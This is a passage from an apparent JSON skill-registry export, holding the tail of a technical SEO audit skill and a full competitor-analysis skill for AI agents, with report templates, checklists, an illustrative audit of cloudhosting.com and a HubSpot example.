Performance metrics available (via ~~page speed tool or screenshots)\n\n### Output Validation\n- [ ] Every recommendation cites specific data points (not generic advice)\n- [ ] All issues include affected URLs or page counts\n- [ ] Performance metrics include actual numbers with units (seconds, KB, etc.)\n- [ ] Source of each data point clearly stated (~~web crawler data, ~~page speed tool, user-provided, or estimated)\n\n## Example\n\n**User**: \"Check the technical SEO of cloudhosting.com\"\n\n**Output**:\n\n```markdown\n# Technical SEO Audit Report\n\n**Domain**: cloudhosting.com\n**Audit Date**: 2024-09-15\n**Pages Analyzed**: 312\n\n## Crawlability Analysis\n\n### Robots.txt Review\n\n**URL**: cloudhosting.com/robots.txt\n**Status**: Found\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| File exists | \u2705 | 200 response |\n| Valid syntax | \u26a0\ufe0f | Wildcard pattern `Disallow: /*?` too aggressive \u2014 blocks faceted pages |\n| Sitemap declared | \u274c | No Sitemap directive in robots.txt |\n| Important pages blocked | \u26a0\ufe0f | /pricing/ blocked by `Disallow: /pricing` rule |\n| Assets blocked | \u2705 | CSS/JS accessible |\n\n**Issues Found**:\n- Sitemap URL not declared in robots.txt\n- `/pricing/` inadvertently blocked \u2014 high-value commercial page\n\n### XML Sitemap Review\n\n**Sitemap URL**: cloudhosting.com/sitemap.xml\n**Status**: Found (not referenced in robots.txt)\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Sitemap exists | \u2705 | Valid XML, 287 URLs |\n| Only indexable URLs | \u274c | 23 noindex URLs included |\n| Includes lastmod | \u26a0\ufe0f | All dates set to 2023-01-01 \u2014 not accurate |\n\n**Crawlability Score**: 5/10\n\n## Performance Analysis\n\n### Core Web Vitals\n\n| Metric | Mobile | Desktop | Target | Status |\n|--------|--------|---------|--------|--------|\n| LCP (Largest Contentful Paint) | 4.8s | 2.1s | <2.5s | \u274c Mobile / \u2705 Desktop |\n| FID (First Input Delay) | 45ms | 12ms | <100ms | \u2705 / \u2705 |\n| CLS (Cumulative Layout Shift) | 0.24 | 0.08 | <0.1 | \u274c Mobile / \u2705 Desktop |\n| INP (Interaction to Next Paint) | 380ms | 140ms | <200ms | \u274c Mobile / \u2705 Desktop |\n\n### Additional Performance Metrics\n\n| Metric | Value | Status |\n|--------|-------|--------|\n| Time to First Byte (TTFB) | 1,240ms | \u274c |\n| Page Size | 3.8MB | \u274c |\n| Requests | 94 | \u26a0\ufe0f |\n\n**LCP Issues**:\n- Uncompressed hero image (2.4MB PNG): Convert to WebP, est. save 1.9MB\n- No CDN detected: TTFB 1,240ms from origin server\n\n**CLS Issues**:\n- Ad banner at top of page injects without reserved height (0.18 shift contribution)\n\n**Performance Score**: 3/10\n\n## Security Analysis\n\n### HTTPS Status\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| SSL certificate valid | \u2705 | Expires: 2025-03-22 |\n| HTTPS enforced | \u26a0\ufe0f | http://cloudhosting.com returns 200 instead of 301 redirect |\n| Mixed content | \u274c | 7 images loaded over HTTP on /features/ page |\n| HSTS enabled | \u274c | Header not present |\n\n**Security Score**: 5/10\n\n## Structured Data Analysis\n\n### Schema Markup Found\n\n| Schema Type | Pages | Valid | Errors |\n|-------------|-------|-------|--------|\n| Organization | 1 (homepage) | \u2705 | None |\n| Article | 0 | \u2014 | Missing on 48 blog posts |\n| Product | 0 | \u2014 | Missing on 5 plan pages |\n| FAQ | 0 | \u2014 | Missing on 12 pages with FAQ content |\n\n**Structured Data Score**: 3/10\n\n## Overall Technical Health: 42/100\n\n```\nScore Breakdown:\n\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591 Crawlability: 5/10\n\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 Indexability: 6/10\n\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2591 Performance: 3/10\n\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 Mobile: 6/10\n\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591 Security: 5/10\n\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 URL Structure: 6/10\n\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2591 Structured Data: 3/10\n```\n\n## Priority Issues\n\n### \ud83d\udd34 Critical (Fix Immediately)\n1. **Mobile LCP 4.8s (target <2.5s)** \u2014 Compress hero image to WebP (est. save 1.9MB) and implement a CDN to reduce TTFB from 1,240ms to <400ms.\n\n### \ud83d\udfe1 Important (Fix Soon)\n2. **HTTP not redirecting to HTTPS** \u2014 Add 301 redirect from http:// to https:// and enable HSTS header. 7 mixed-content images on /features/ need URL updates.\n\n### \ud83d\udfe2 Minor (Optimize)\n3. **No Article/FAQ schema on blog posts** \u2014 Add Article schema to 48 blog posts and FAQ schema to 12 FAQ pages for rich result eligibility.\n```\n\n## Technical SEO Checklist\n\n```markdown\n### Crawlability\n- [ ] robots.txt is valid and not blocking important content\n- [ ] XML sitemap exists and is submitted to ~~search console\n- [ ] No crawl errors in ~~search console\n- [ ] No redirect chains or loops\n\n### Indexability \n- [ ] Important pages are indexable\n- [ ] Canonical tags are correct\n- [ ] No duplicate content issues\n- [ ] Pagination is handled correctly\n\n### Performance\n- [ ] Core Web Vitals pass\n- [ ] Page speed under 3 seconds\n- [ ] Images are optimized\n- [ ] JS/CSS are minified\n\n### Mobile\n- [ ] Mobile-friendly test passes\n- [ ] Viewport is configured\n- [ ] Touch elements are properly sized\n\n### Security\n- [ ] HTTPS is enforced\n- [ ] SSL certificate is valid\n- [ ] No mixed content\n- [ ] Security headers present\n\n### Structure\n- [ ] URLs are clean and descriptive\n- [ ] Site architecture is logical\n- [ ] Internal linking is strong\n```\n\n## Tips for Success\n\n1. **Prioritize by impact** - Fix critical issues first\n2. **Monitor continuously** - Use ~~search console alerts\n3. **Test changes** - Verify fixes work before deploying widely\n4. **Document everything** - Track changes for troubleshooting\n5. **Regular audits** - Schedule quarterly technical reviews\n\n## Technical SEO Severity Framework\n\n### Issue Classification\n\n| Severity | Impact Description | Examples | Response Time |\n|----------|-------------------|---------|---------------|\n| **Critical** | Prevents indexation or causes site-wide issues | Robots.txt blocking site, noindex on key pages, site-wide 500 errors | Same day |\n| **High** | Significantly impacts rankings or user experience | Slow page speed, missing hreflang, duplicate content, redirect chains | Within 1 week |\n| **Medium** | Affects specific pages or has moderate impact | Missing schema, suboptimal canonicals, thin content pages | Within 1 month |\n| **Low** | Minor optimization opportunities | Image compression, minor CLS issues, non-essential schema missing | Next quarter |\n\n### Technical Debt Prioritization Matrix\n\n| Factor | Weight | Assessment |\n|--------|--------|-----------|\n| Pages affected | 30% | Site-wide > Section > Single page |\n| Revenue impact | 25% | Revenue pages > Blog > Utility pages |\n| Fix difficulty | 20% | Config change < Template change < Code rewrite |\n| Competitive impact | 15% | Competitors passing you > parity > you ahead |\n| Crawl budget waste | 10% | High waste > Moderate > Minimal |\n\n## Core Web Vitals Optimization Quick Reference\n\n### LCP (Largest Contentful Paint) Optimization\n\n| Root Cause | Detection | Fix |\n|-----------|-----------|-----|\n| Large hero image | PageSpeed Insights | Serve WebP, resize to container, add loading=\"lazy\" |\n| Render-blocking CSS/JS | DevTools Coverage | Defer non-critical, inline critical CSS |\n| Slow server response | TTFB >800ms | CDN, server-side caching, upgrade hosting |\n| Third-party scripts | DevTools Network | Defer/async, use facade pattern |\n\n### CLS (Cumulative Layout Shift) Optimization\n\n| Root Cause | Detection | Fix |\n|-----------|-----------|-----|\n| Images without dimensions | DevTools | Add explicit width/height attributes |\n| Ads/embeds without reserved space | Visual inspection | Set min-height on containers |\n| Web fonts causing FOUT | DevTools | font-display: swap + preload fonts |\n| Dynamic content injection | Visual inspection | Reserve space with CSS |\n\n### INP (Interaction to Next Paint) Optimization\n\n| Root Cause | Detection | Fix |\n|-----------|-----------|-----|\n| Long JavaScript tasks | DevTools Performance | Break into smaller tasks, use requestIdleCallback |\n| Heavy event handlers | DevTools | Debounce/throttle, use passive listeners |\n| Main thread blocking | DevTools | Web workers for heavy computation |\n\n## Reference Materials\n\n- [robots.txt Reference](./references/robots-txt-reference.md) - Syntax guide, templates, common configurations\n- [HTTP Status Codes](./references/http-status-codes.md) - SEO impact of each status code, redirect best practices\n\n## Related Skills\n\n- [on-page-seo-auditor](../on-page-seo-auditor/) \u2014 On-page SEO audit\n- [schema-markup-generator](../../build/schema-markup-generator/) \u2014 Fix schema issues\n- [performance-reporter](../../monitor/performance-reporter/) \u2014 Monitor improvements\n- [internal-linking-optimizer](../internal-linking-optimizer/) \u2014 Fix link issues\n- [alert-manager](../../monitor/alert-manager/) \u2014 Set up alerts for technical issues found\n- [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u2014 Full 80-item CORE-EEAT audit\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/technical-seo-checker/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/technical-seo-checker/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/technical-seo-checker/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/technical-seo-checker/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/technical-seo-checker/SKILL.md", "importedAt": "2026-02-18T19:24:21.027Z"}}}}, {"slug": "clawhub-competitor-analysis", "name": "Competitor Analysis", "category": "Analytics", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Competitor Analysis", "slug": "clawhub-competitor-analysis", "version": "1.0.0", "description": "--- name: competitor-analysis description: 'Use when the user asks to \"analyze competitors\", \"competitor SEO\", \"who ranks for\", \"competitive analysis\", \"what are my competitors doing\", \"what are they doing differently\", \"why do they rank higher\", or \"spy on competitor SEO\". Analyzes competitor SEO and GEO strategies including their ranking keywords, content approaches, backlink profiles, and AI citation patterns. Reveals opportunities to outperform competition. For content-focused gap analysis, see content-gap-analysis. For link profile specifics, see backlink-analyzer.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"medium\" tags: - seo - geo - competitor analysis - competitive intelligence - benchmarking - market analysis - ranking analysis triggers: - \"analyze competitors\" - \"competitor SEO\" - \"who ranks for\" - \"competitive analysis\" - \"what are my competitors doing\" - \"competitor keywords\" - \"competitor backlinks\" - \"what are they doing differently\" - \"why do they rank higher\" - \"spy on competitor SEO\" ---", "documentation_md": "---\nname: competitor-analysis\ndescription: 'Use when the user asks to \"analyze competitors\", \"competitor SEO\", \"who ranks for\", \"competitive analysis\", \"what are my competitors doing\", \"what are they doing differently\", \"why do they rank higher\", or \"spy on competitor SEO\". Analyzes competitor SEO and GEO strategies including their ranking keywords, content approaches, backlink profiles, and AI citation patterns. Reveals opportunities to outperform competition. For content-focused gap analysis, see content-gap-analysis. For link profile specifics, see backlink-analyzer.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"medium\"\n tags:\n - seo\n - geo\n - competitor analysis\n - competitive intelligence\n - benchmarking\n - market analysis\n - ranking analysis\n triggers:\n - \"analyze competitors\"\n - \"competitor SEO\"\n - \"who ranks for\"\n - \"competitive analysis\"\n - \"what are my competitors doing\"\n - \"competitor keywords\"\n - \"competitor backlinks\"\n - \"what are they doing differently\"\n - \"why do they rank higher\"\n - \"spy on competitor SEO\"\n---\n\n# Competitor Analysis\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../keyword-research/) \u00b7 **competitor-analysis** \u00b7 [serp-analysis](../serp-analysis/) \u00b7 [content-gap-analysis](../content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill provides comprehensive analysis of competitor SEO and GEO strategies, revealing what's working in your market and identifying opportunities to outperform the competition.\n\n## When to Use This Skill\n\n- Entering a new market or niche\n- Planning content strategy based on competitor success\n- Understanding why competitors rank higher\n- Finding backlink and partnership opportunities\n- Identifying content gaps competitors are missing\n- Analyzing competitor AI citation strategies\n- Benchmarking your SEO performance\n\n## What This Skill Does\n\n1. **Keyword Analysis**: Identifies keywords competitors rank for\n2. **Content Audit**: Analyzes competitor content strategies and formats\n3. **Backlink Profiling**: Reviews competitor link-building approaches\n4. **Technical Assessment**: Evaluates competitor site health\n5. **GEO Analysis**: Identifies how competitors appear in AI responses\n6. **Gap Identification**: Finds opportunities competitors miss\n7. **Strategy Extraction**: Reveals actionable insights from competitor success\n\n## How to Use\n\n### Basic Competitor Analysis\n\n```\nAnalyze SEO strategy for [competitor URL]\n```\n\n```\nCompare my site [URL] against [competitor 1], [competitor 2], [competitor 3]\n```\n\n### Specific Analysis\n\n```\nWhat content is driving the most traffic for [competitor]?\n```\n\n```\nAnalyze why [competitor] ranks #1 for [keyword]\n```\n\n### GEO-Focused Analysis\n\n```\nHow is [competitor] getting cited in AI responses? What can I learn?\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~SEO tool + ~~analytics + ~~AI monitor connected:**\nAutomatically pull competitor keyword rankings, backlink profiles, top performing content, domain authority metrics from ~~SEO tool. Compare against your site's metrics from ~~analytics and ~~search console. Check AI citation patterns for both your site and competitors using ~~AI monitor.\n\n**With manual data only:**\nAsk the user to provide:\n1. Competitor URLs to analyze (2-5 recommended)\n2. Your own site URL and current metrics (traffic, rankings if known)\n3. Industry or niche context\n4. Specific aspects to focus on (keywords, content, backlinks, etc.)\n5. Any known competitor strengths or weaknesses\n\nProceed with the full analysis using provided data. Note in the output which metrics are from automated collection vs. user-provided data.\n\n## Instructions\n\nWhen a user requests competitor analysis:\n\n1. **Identify Competitors**\n\n If not specified, help identify competitors:\n \n ```markdown\n ### Competitor Identification Framework\n \n **Direct Competitors** (same product/service)\n - Search \"[your main keyword]\" and note top 5 organic results\n - Check who's advertising for your keywords\n - Ask: Who do customers compare you to?\n \n **Indirect Competitors** (different solution, same problem)\n - Search problem-focused keywords\n - Look at alternative solutions\n \n **Content Competitors** (compete for same keywords)\n - May not sell same product\n - Rank for your target keywords\n - Include media sites, blogs, aggregators\n ```\n\n2. **Gather Competitor Data**\n\n For each competitor, collect:\n \n ```markdown\n ## Competitor Profile: [Name]\n \n **Basic Info**\n - URL: [website]\n - Domain Age: [years]\n - Estimated Traffic: [monthly visits]\n - Domain Authority/Rating: [score]\n \n **Business Model**\n - Type: [SaaS/E-commerce/Content/etc.]\n - Target Audience: [description]\n - Key Offerings: [products/services]\n ```\n\n3. **Analyze Keyword Rankings**\n\n ```markdown\n ### Keyword Analysis: [Competitor]\n \n **Total Keywords Ranking**: [X]\n **Keywords in Top 10**: [X]\n **Keywords in Top 3**: [X]\n \n #### Top Performing Keywords\n \n | Keyword | Position | Volume | Traffic Est. | Page |\n |---------|----------|--------|--------------|------|\n | [kw 1] | [pos] | [vol] | [traffic] | [url] |\n | [kw 2] | [pos] | [vol] | [traffic] | [url] |\n \n #### Keyword Distribution by Intent\n \n - Informational: [X]% ([keywords])\n - Commercial: [X]% ([keywords]) \n - Transactional: [X]% ([keywords])\n - Navigational: [X]% ([keywords])\n \n #### Keyword Gaps (They rank, you don't)\n \n | Keyword | Their Position | Volume | Opportunity |\n |---------|----------------|--------|-------------|\n | [kw 1] | [pos] | [vol] | [analysis] |\n ```\n\n4. **Audit Content Strategy**\n\n ```markdown\n ### Content Analysis: [Competitor]\n \n **Content Volume**\n - Total Pages: [X]\n - Blog Posts: [X]\n - Landing Pages: [X]\n - Resource Pages: [X]\n \n **Content Performance**\n \n #### Top Performing Content\n \n | Title | URL | Est. Traffic | Keywords | Backlinks |\n |-------|-----|--------------|----------|-----------|\n | [title 1] | [url] | [traffic] | [X] | [X] |\n \n **Content Patterns**\n \n - Average word count: [X] words\n - Publishing frequency: [X] posts/month\n - Content formats used:\n - Blog posts: [X]%\n - Guides/tutorials: [X]%\n - Case studies: [X]%\n - Tools/calculators: [X]%\n - Videos: [X]%\n \n **Content Themes**\n \n | Theme | # Articles | Combined Traffic |\n |-------|------------|------------------|\n | [theme 1] | [X] | [traffic] |\n | [theme 2] | [X] | [traffic] |\n \n **What Makes Their Content Successful**\n \n 1. [Success factor 1 with example]\n 2. [Success factor 2 with example]\n 3. [Success factor 3 with example]\n ```\n\n5. **Analyze Backlink Profile**\n\n ```markdown\n ### Backlink Analysis: [Competitor]\n \n **Overview**\n - Total Backlinks: [X]\n - Referring Domains: [X]\n - Domain Rating: [X]\n \n **Link Quality Distribution**\n - High Authority (DR 70+): [X]%\n - Medium Authority (DR 30-69): [X]%\n - Low Authority (DR <30): [X]%\n \n **Top Linking Domains**\n \n | Domain | DR | Link Type | Target Page |\n |--------|-----|-----------|-------------|\n | [domain 1] | [DR] | [type] | [page] |\n \n **Link Acquisition Patterns**\n \n - Guest posts: [X]%\n - Editorial/organic: [X]%\n - Resource pages: [X]%\n - Directories: [X]%\n - Other: [X]%\n \n **Linkable Assets (Content attracting links)**\n \n | Asset | Type | Backlinks | Why It Works |\n |-------|------|-----------|--------------|\n | [asset 1] | [type] | [X] | [reason] |\n ```\n\n6. **Technical SEO Assessment**\n\n ```markdown\n ### Technical Analysis: [Competitor]\n \n **Site Performance**\n - Core Web Vitals: [Pass/Fail]\n - LCP: [X]s\n - FID: [X]ms\n - CLS: [X]\n - Mobile-friendly: [Yes/No]\n \n **Site Structure**\n - Site architecture depth: [X] levels\n - Internal linking quality: [Rating]\n - URL structure: [Clean/Messy]\n - Sitemap present: [Yes/No]\n \n **Technical Strengths**\n 1. [Strength 1]\n 2. [Strength 2]\n \n **Technical Weaknesses**\n 1. [Weakness 1]\n 2. [Weakness 2]\n ```\n\n7. **GEO/AI Citation Analysis**\n\n ```markdown\n ### GEO Analysis: [Competitor]\n \n **AI Visibility Assessment**\n \n Test competitor content in AI systems for relevant queries:\n \n | Query | AI Mentions Competitor? | What's Cited | Why |\n |-------|------------------------|--------------|-----|\n | [query 1] | Yes/No | [content] | [reason] |\n | [query 2] | Yes/No | [content] | [reason] |\n \n **GEO Strategies Observed**\n \n 1. **Clear Definitions**\n - Example: [quote from their content]\n - Effectiveness: [rating]\n \n 2. **Quotable Statistics**\n - Example: [quote from their content]\n - Effectiveness: [rating]\n \n 3. **Q&A Format Content**\n - Examples found: [X] pages\n - Topics covered: [list]\n \n 4. **Authority Signals**\n - Expert authorship: [Yes/No]\n - Citations to sources: [Yes/No]\n - Original research: [Yes/No]\n \n **GEO Opportunities They're Missing**\n \n | Topic | Why Missing | Your Opportunity |\n |-------|-------------|------------------|\n | [topic 1] | [reason] | [action] |\n ```\n\n8. **Synthesize Competitive Intelligence**\n\n ```markdown\n # Competitive Analysis Report\n \n **Analysis Date**: [Date]\n **Competitors Analyzed**: [List]\n **Your Site**: [URL]\n \n ## Executive Summary\n \n [2-3 paragraph overview of key findings and recommendations]\n \n ## Competitive Landscape\n \n | Metric | You | Competitor 1 | Competitor 2 | Competitor 3 |\n |--------|-----|--------------|--------------|--------------|\n | Domain Authority | [X] | [X] | [X] | [X] |\n | Organic Traffic | [X] | [X] | [X] | [X] |\n | Keywords Top 10 | [X] | [X] | [X] | [X] |\n | Backlinks | [X] | [X] | [X] | [X] |\n | Content Pages | [X] | [X] | [X] | [X] |\n\n **Domain Authority Comparison (Recommended)**\n\n When domain-level comparison is needed, run the [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) for each competitor to get CITE scores:\n\n | Domain | CITE Score | C (Citation) | I (Identity) | T (Trust) | E (Eminence) | Veto |\n |--------|-----------|-------------|-------------|----------|-------------|------|\n | Your domain | [score] | [score] | [score] | [score] | [score] | [pass/fail] |\n | Competitor 1 | [score] | [score] | [score] | [score] | [score] | [pass/fail] |\n | Competitor 2 | [score] | [score] | [score] | [score] | [score] | [pass/fail] |\n\n This reveals domain authority gaps that inform link building and brand strategy beyond keyword-level competition.\n\n ## Competitor Strengths to Learn From\n \n ### [Competitor 1]\n - **Strength**: [description]\n - **Why It Works**: [analysis]\n - **How to Apply**: [action item]\n \n [Repeat for each competitor]\n \n ## Competitor Weaknesses to Exploit\n \n ### Gap 1: [Description]\n - Who's weak: [competitors]\n - Opportunity size: [estimate]\n - Recommended action: [specific steps]\n \n [Repeat for each gap]\n \n ## Keyword Opportunities\n \n ### Keywords to Target (Competitor overlap)\n | Keyword | Volume | Avg Position | Best Strategy |\n |---------|--------|--------------|---------------|\n | [kw] | [vol] | [pos] | [strategy] |\n \n ### Untapped Keywords (No competitor coverage)\n | Keyword | Volume | Difficulty | Opportunity |\n |---------|--------|------------|-------------|\n | [kw] | [vol] | [diff] | [description] |\n \n ## Content Strategy Recommendations\n \n Based on competitor analysis:\n \n 1. **Create**: [Content type] about [topic] because [reason]\n 2. **Improve**: [Existing content] to match/exceed [competitor content]\n 3. **Promote**: [Content] to sites like [competitor's link sources]\n \n ## Action Plan\n \n ### Immediate (This Week)\n 1. [Action item]\n 2. [Action item]\n \n ### Short-term (This Month)\n 1. [Action item]\n 2. [Action item]\n \n ### Long-term (This Quarter)\n 1. [Action item]\n 2. [Action item]\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Competitor URLs verified as relevant to your niche\n- [ ] Analysis scope defined (comprehensive or specific focus area)\n- [ ] Your own site metrics available for comparison\n- [ ] Minimum 2-3 competitors identified for meaningful patterns\n\n### Output Validation\n- [ ] Every recommendation cites specific data points (not generic advice)\n- [ ] Competitor strengths backed by measurable evidence (metrics, rankings)\n- [ ] Opportunities based on identifiable gaps, not assumptions\n- [ ] Action plan items are specific and actionable (not vague strategies)\n- [ ] Source of each data point clearly stated (~~SEO tool data, ~~analytics data, ~~AI monitor data, user-provided, or estimated)\n\n## Example\n\n**User**: \"Analyze why HubSpot ranks so well for marketing-related keywords\"\n\n**Output**:\n\n```markdown\n# Competitive Analysis: HubSpot\n\n## SEO Strategy Overview\n\nHubSpot dominates marketing keywords through a combination of:\n1. **Massive content moat** - 10,000+ blog posts\n2. **Free tools as linkbait** - Website grader, email signature generator\n3. **Educational brand** - Academy, certifications, courses\n4. **Topic cluster model** - Pioneered the pillar/cluster approach\n\n## What Makes Them Successful\n\n### Content Strategy\n\n**Publishing Volume**: 50-100 posts/month\n**Average Word Count**: 2,500+ words\n**Content Types**:\n- In-depth guides (35%)\n- How-to tutorials (25%)\n- Templates & examples (20%)\n- Data/research (10%)\n- Tools & calculators (10%)\n\n**Top Performing Content Pattern**:\n1. Ultimate guides on broad topics\n2. Free templates with email gate\n3. Statistics roundup posts\n4. Definition posts (\"What is [term]\")\n\n### GEO Success Factors\n\nHubSpot appears in AI responses frequently because:\n\n1. **Clear definitions** at the start of every post\n > \"Inbound marketing is a business methodology that attracts customers by creating valuable content and experiences tailored to them.\"\n\n2. **Quotable statistics**\n > \"Companies that blog get 55% more website visitors\"\n\n3. **Comprehensive coverage** - AI trusts their authority\n\n### Linkable Assets\n\n| Asset | Backlinks | Why It Works |\n|-------|-----------|--------------|\n| Website Grader | 45,000+ | Free, instant value |\n| Marketing Statistics | 12,000+ | Quotable reference |\n| Blog Ideas Generator | 8,500+ | Solves real problem |\n\n## Weaknesses to Exploit\n\n1. **Content becoming dated** - Many posts 3+ years old\n2. **Generic advice** - Lacks industry-specific depth\n3. **Enterprise focus** - Underserves solopreneurs\n4. **Slow innovation** - Same formats for years\n\n## Your Opportunities\n\n1. Create more specific, niche content they can't cover\n2. Target long-tail keywords they ignore\n3. Build interactive tools in emerging areas\n4. Add original research they don't have\n5. Focus on GEO-optimized definitions in your niche\n```\n\n## Advanced Analysis Types\n\n### Content Gap Analysis\n\n```\nShow me content [competitor] has that I don't, sorted by traffic potential\n```\n\n### Link Intersection\n\n```\nFind sites linking to [competitor 1] AND [competitor 2] but not me\n```\n\n### SERP Feature Analysis\n\n```\nWhat SERP features do competitors win? (Featured snippets, PAA, etc.)\n```\n\n### Historical Tracking\n\n```\nHow has [competitor]'s SEO strategy evolved over the past year?\n```\n\n## Tips for Success\n\n1. **Analyze 3-5 competitors** for comprehensive view\n2. **Include indirect competitors** - they often have innovative approaches\n3. **Look beyond rankings** - analyze content quality, user experience\n4. **Study their failures** - avoid their mistakes\n5. **Monitor regularly** - competitor strategies evolve\n6. **Focus on actionable insights** - what can you actually implement?\n\n## Messaging Comparison Framework\n\n### Messaging Matrix\n\nCompare competitor messaging across key dimensions:\n\n| Dimension | Your Site | Competitor A | Competitor B | Competitor C |\n|-----------|-----------|-------------|-------------|-------------|\n| Core value proposition | | | | |\n| Primary CTA | | | | |\n| Hero headline | | | | |\n| Tone/Voice | | | | |\n| Key differentiator claim | | | | |\n| Social proof type | | | | |\n| Category framing | | | | |\n| Target audience signal | | | | |\n\n### Narrative Analysis Framework\n\nFor each competitor, identify their story arc:\n\n| Element | Description | How to Identify |\n|---------|------------|----------------|\n| **Villain** | Problem or enemy they position against | Homepage hero, \"why us\" page \u2014 what status quo do they attack? |\n| **Hero** | Who is the hero in their story | Customer stories, case studies \u2014 is the hero the customer or the product? |\n| **Transformation** | What before/after do they promise | Results pages, testimonials \u2014 what measurable change? |\n| **Stakes** | What happens if you don't act | Risk messaging, urgency signals \u2014 FOMO or loss framing? |\n\n### Value Proposition Comparison\n\nFor each competitor, extract:\n\n```\n**[Competitor Name]**\n- Promise: what they promise the customer will achieve\n- Evidence: how they prove it (data, testimonials, demos)\n- Mechanism: how their product delivers (the \"how it works\")\n- Uniqueness: what they claim only they can do\n```\n\n## Positioning Strategy Frameworks\n\n### Positioning Map (2x2 Matrix)\n\nPlot competitors on key dimension pairs:\n\n| Axis Pair | Best For |\n|-----------|---------|\n| Price vs. Capability | Understanding market tiers |\n| Ease of Use vs. Power | Evaluating UX tradeoffs |\n| SMB vs. Enterprise Focus | Identifying segment gaps |\n| Point Solution vs. Platform | Finding positioning space |\n| Established vs. Innovative | Timing market entry |\n\n### Positioning Statement Reverse-Engineering\n\nFor each competitor, reconstruct their implicit positioning:\n\n> For **[target audience]**, **[product]** is the **[category]** that **[key benefit]** because **[reason to believe]**.\n\n## Competitive Battlecard Template\n\n### Quick Reference Card Structure\n\n| Section | Content |\n|---------|---------|\n| **Overview** | One-sentence description + target customer + pricing model |\n| **Their Pitch** | Tagline + top 3 claimed differentiators |\n| **Strengths** | Where they genuinely compete well (be honest) |\n| **Weaknesses** | Consistent complaints from reviews, technical limitations |\n| **Your Differentiators** | 3-5 specific ways you're different, with proof |\n| **Objection Handling** | \"If they say X \u2192 respond with Y\" table |\n| **Landmines to Set** | Questions that highlight your advantages |\n| **Win/Loss Themes** | Common reasons deals are won/lost against them |\n\n## Reference Materials\n\n- [Battlecard Template](./references/battlecard-template.md) \u2014 Quick-reference competitive battlecard for sales and marketing teams\n- [Positioning Frameworks](./references/positioning-frameworks.md) \u2014 Positioning maps, strategy matrices, and differentiation frameworks\n\n## Related Skills\n\n- [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u2014 Compare CITE domain authority scores across competitors for domain-level benchmarking\n- [keyword-research](../keyword-research/) \u2014 Research keywords competitors rank for\n- [content-gap-analysis](../content-gap-analysis/) \u2014 Find content opportunities\n- [backlink-analyzer](../../monitor/backlink-analyzer/) \u2014 Deep-dive into backlinks\n- [serp-analysis](../serp-analysis/) \u2014 Understand search result composition\n- [memory-management](../../cross-cutting/memory-management/) \u2014 Store competitor data in project memory\n- [entity-optimizer](../../cross-cutting/entity-optimizer/) \u2014 Compare entity presence against competitors\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/competitor-analysis/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/competitor-analysis/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/competitor-analysis/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", 